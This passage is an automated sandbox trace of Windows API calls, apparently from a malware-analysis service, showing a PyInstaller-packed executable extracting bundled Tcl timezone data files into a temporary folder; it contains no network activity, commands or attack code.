[0038.990] htonl (hostlong=0x1a010000) returned 0x11a [0038.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.990] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.990] htonl (hostlong=0x15030000) returned 0x315 [0038.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x315) returned 0x550728 [0038.990] htonl (hostlong=0x1a010000) returned 0x11a [0038.990] htonl (hostlong=0x15030000) returned 0x315 [0038.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.990] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.990] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.990] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.990] CloseHandle (hObject=0x10c) returned 1 [0038.990] GetLastError () returned 0x0 [0038.990] SetLastError (dwErrCode=0x0) [0038.990] GetLastError () returned 0x0 [0038.990] SetLastError (dwErrCode=0x0) [0038.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.990] GetFileType (hFile=0x10c) returned 0x1 [0038.990] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.991] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.991] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.991] CloseHandle (hObject=0x10c) returned 1 [0038.991] GetLastError () returned 0x0 [0038.991] SetLastError (dwErrCode=0x0) [0038.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.991] GetFileType (hFile=0x10c) returned 0x1 [0038.991] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.991] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.991] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.991] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.991] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.991] CloseHandle (hObject=0x10c) returned 1 [0038.992] GetLastError () returned 0x0 [0038.992] SetLastError (dwErrCode=0x0) [0038.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.992] GetFileType (hFile=0x10c) returned 0x1 [0038.992] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.992] CloseHandle (hObject=0x10c) returned 1 [0038.992] GetLastError () returned 0x0 [0038.992] SetLastError (dwErrCode=0x0) [0038.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica") returned 72 [0038.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\jamaica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.992] GetLastError () returned 0x2 [0038.992] SetLastError (dwErrCode=0x2) [0038.992] GetLastError () returned 0x2 [0038.992] SetLastError (dwErrCode=0x2) [0038.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica", lpFilePart=0x0) returned 0x47 [0038.993] GetLastError () returned 0x2 [0038.993] SetLastError (dwErrCode=0x2) [0038.993] GetLastError () returned 0x2 [0038.993] SetLastError (dwErrCode=0x2) [0038.993] GetLastError () returned 0x2 [0038.993] SetLastError (dwErrCode=0x2) [0038.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica") returned 72 [0038.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jamaica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\jamaica"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.993] GetFileType (hFile=0x10c) returned 0x1 [0038.993] htonl (hostlong=0x15030000) returned 0x315 [0038.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.993] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x315, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x315, lpOverlapped=0x0) returned 1 [0038.997] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.997] CloseHandle (hObject=0x10c) returned 1 [0038.997] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550728 | out: hHeap=0x530000) returned 1 [0038.997] htonl (hostlong=0x30000000) returned 0x30 [0038.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.998] GetFileType (hFile=0x10c) returned 0x1 [0038.998] htonl (hostlong=0x87675900) returned 0x596787 [0038.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e1787, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.998] htonl (hostlong=0x8e000000) returned 0x8e [0038.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0038.998] htonl (hostlong=0x8e000000) returned 0x8e [0038.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.998] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.998] htonl (hostlong=0xce000000) returned 0xce [0038.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xce) returned 0x546a18 [0038.998] htonl (hostlong=0x8e000000) returned 0x8e [0038.998] htonl (hostlong=0xce000000) returned 0xce [0038.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.998] CloseHandle (hObject=0x10c) returned 1 [0038.998] GetLastError () returned 0x0 [0038.998] SetLastError (dwErrCode=0x0) [0038.998] GetLastError () returned 0x0 [0038.998] SetLastError (dwErrCode=0x0) [0038.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.999] GetFileType (hFile=0x10c) returned 0x1 [0038.999] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.999] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.999] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.999] CloseHandle (hObject=0x10c) returned 1 [0038.999] GetLastError () returned 0x0 [0038.999] SetLastError (dwErrCode=0x0) [0038.999] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.999] GetFileType (hFile=0x10c) returned 0x1 [0038.999] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.999] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.000] CloseHandle (hObject=0x10c) returned 1 [0039.000] GetLastError () returned 0x0 [0039.000] SetLastError (dwErrCode=0x0) [0039.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.000] GetFileType (hFile=0x10c) returned 0x1 [0039.000] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.000] CloseHandle (hObject=0x10c) returned 1 [0039.000] GetLastError () returned 0x0 [0039.000] SetLastError (dwErrCode=0x0) [0039.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy") returned 70 [0039.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\jujuy"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.001] GetLastError () returned 0x2 [0039.001] SetLastError (dwErrCode=0x2) [0039.001] GetLastError () returned 0x2 [0039.001] SetLastError (dwErrCode=0x2) [0039.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy", lpFilePart=0x0) returned 0x45 [0039.001] GetLastError () returned 0x2 [0039.001] SetLastError (dwErrCode=0x2) [0039.001] GetLastError () returned 0x2 [0039.001] SetLastError (dwErrCode=0x2) [0039.001] GetLastError () returned 0x2 [0039.001] SetLastError (dwErrCode=0x2) [0039.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy") returned 70 [0039.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Jujuy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\jujuy"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.001] GetFileType (hFile=0x10c) returned 0x1 [0039.001] htonl (hostlong=0xce000000) returned 0xce [0039.001] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.001] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xce, lpOverlapped=0x0) returned 1 [0039.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.003] CloseHandle (hObject=0x10c) returned 1 [0039.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a18 | out: hHeap=0x530000) returned 1 [0039.003] htonl (hostlong=0x30000000) returned 0x30 [0039.003] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.003] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.004] GetFileType (hFile=0x10c) returned 0x1 [0039.004] htonl (hostlong=0x15685900) returned 0x596815 [0039.004] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e1815, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.004] htonl (hostlong=0x7b060000) returned 0x67b [0039.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x67b) returned 0x55e278 [0039.004] htonl (hostlong=0x7b060000) returned 0x67b [0039.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.004] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.004] htonl (hostlong=0xd6200000) returned 0x20d6 [0039.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d6) returned 0x561090 [0039.004] htonl (hostlong=0x7b060000) returned 0x67b [0039.004] htonl (hostlong=0xd6200000) returned 0x20d6 [0039.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563170 [0039.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563170 | out: hHeap=0x530000) returned 1 [0039.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.004] CloseHandle (hObject=0x10c) returned 1 [0039.004] GetLastError () returned 0x0 [0039.004] SetLastError (dwErrCode=0x0) [0039.004] GetLastError () returned 0x0 [0039.004] SetLastError (dwErrCode=0x0) [0039.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 